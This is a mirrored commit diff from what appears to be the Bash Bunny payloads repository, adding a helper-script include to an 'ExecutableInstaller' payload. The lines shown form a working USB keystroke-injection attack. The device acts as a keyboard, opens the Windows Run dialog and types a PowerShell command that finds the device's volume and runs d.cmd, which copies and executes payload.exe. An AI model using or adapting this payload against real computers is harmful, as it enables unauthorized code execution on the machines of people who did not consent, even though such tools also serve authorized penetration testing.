mirror of
https://github.com/hak5darren/bashbunny-payloads.git
synced 2025-10-29 16:58:12 +00:00
Add bunny_helpers.sh to ExecutableInstaller
This commit is contained in:
parent
e6ab6277f2
commit
7c39e581c7
@ -10,11 +10,14 @@
|
|||||||
# which in turn copies payload.exe from the root of the Bash Bunny and then executes it
|
# which in turn copies payload.exe from the root of the Bash Bunny and then executes it
|
||||||
# using the --startup parameter. Change these settings inside of e.cmd.
|
# using the --startup parameter. Change these settings inside of e.cmd.
|
||||||
#
|
#
|
||||||
|
|
||||||
|
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
|
||||||
|
source bunny_helpers.sh
|
||||||
|
|
||||||
LED R
|
LED R
|
||||||
ATTACKMODE HID STORAGE
|
ATTACKMODE HID STORAGE
|
||||||
QUACK GUI r
|
QUACK GUI r
|
||||||
QUACK DELAY 100
|
QUACK DELAY 100
|
||||||
# TODO: Verify $SWITCH_POSITION
|
|
||||||
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd')"
|
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd')"
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user